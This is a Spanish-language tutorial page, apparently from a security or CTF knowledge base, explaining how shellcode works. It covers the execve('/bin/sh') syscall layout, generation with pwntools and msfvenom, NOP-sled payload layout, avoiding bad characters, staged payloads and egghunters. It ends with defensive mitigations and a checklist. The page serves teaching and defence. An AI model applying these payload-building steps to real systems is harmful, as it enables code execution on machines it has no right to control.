Saltearse al contenido

Shellcode

El shellcode es un trozo de código máquina —escrito directamente en ensamblador/bytes— que realiza una acción concreta al ejecutarse, clásicamente lanzar una shell (execve("/bin/sh")). Es el “payload” que se ejecuta una vez que tu exploit consigue redirigir el flujo a una zona de memoria que controlas y que es ejecutable. Hoy, con NX, el shellcode directo es menos común (se recurre a ROP), pero sigue siendo fundamental cuando hay regiones ejecutables (sin NX, mmap RWX, JIT).

# el objetivo clásico: execve("/bin/sh", NULL, NULL)
# en x86-64, vía syscall execve (número 59):
RAX = 59 ; número de syscall execve
RDI = "/bin/sh" ; primer argumento (ruta)
RSI = 0 ; argv
RDX = 0 ; envp
syscall
# pwntools genera shellcode para muchas arquitecturas
from pwn import *
context.arch = 'amd64'
sc = asm(shellcraft.sh()) # shellcode que lanza /bin/sh
# o ensamblar el tuyo
sc = asm('mov rax, 59; ...')
# bases de datos
shell-storm.org/shellcode/ # shellcodes listos por arquitectura/objetivo
msfvenom -p linux/x64/exec CMD=/bin/sh -f python # Metasploit
# requisito: una región de memoria EJECUTABLE donde puedas escribir y a la que saltes
# sin NX: meter el shellcode en el stack y saltar a él (ver pwn-stack)
payload = nop_sled + shellcode + relleno + p64(direccion_al_sled)
# NOP sled (\x90...): aterriza en cualquier punto del sled y "desliza" hasta el shellcode
# con NX: no hay stack ejecutable -> usar ROP para mmap/mprotect RWX y luego saltar,
# o directamente ROP a execve (ret2syscall, ver pwn-rop)

El NOP sled (\x90 repetido) relaja la precisión: no necesitas acertar la dirección exacta del shellcode, basta con caer en cualquier punto del colchón de NOPs.

Muchos exploits tienen caracteres prohibidos (el \x00 casi siempre, porque corta strings; a veces \x0a, \x20…). El shellcode debe evitarlos:

# shellcode "null-free" / alfanumérico según la restricción
# codificadores (encoders) que evitan bad chars (msfvenom -b '\x00\x0a')
# shellcode auto-decodificante (se descifra en runtime)
# identificar bad chars: probar byte a byte qué se corrompe en memoria
# Windows: shellcode distinto (llamadas a WinAPI, resolución de kernel32...)
# staged vs stageless: pequeño stager que descarga el resto, o todo en uno
# egghunter: cuando el espacio es pequeño, busca en memoria un marcador + payload
# en explotación remota se combina con reverse shell (ver fund-cli)
  • NX/DEP: la mitigación directa — el stack/heap no ejecutable impide ejecutar shellcode inyectado.
  • ASLR/PIE: dificultan saltar a una dirección fija.
  • W^X (write XOR execute): ninguna región escribible es ejecutable (evitar mmap RWX).
  • CFI / shadow stack, detección de regiones RWX anómalas (EDR), control de JIT.
  • Las mismas mitigaciones que frenan el control de RIP (canaries, etc.) impiden llegar a ejecutar el shellcode.
  • Definir qué debe hacer el shellcode (shell/execve/reverse)
  • Generarlo (pwntools shellcraft / msfvenom / shell-storm)
  • Identificar bad chars y evitarlos (encoder/null-free)
  • ¿Hay región ejecutable? (sin NX, mmap RWX, mprotect)
  • NOP sled + shellcode + salto a la región
  • Si NX: ROP a mprotect/execve en vez de shellcode directo
  • Ejecución confirmada (shell)
  • Blue: ¿NX, W^X, ASLR activos?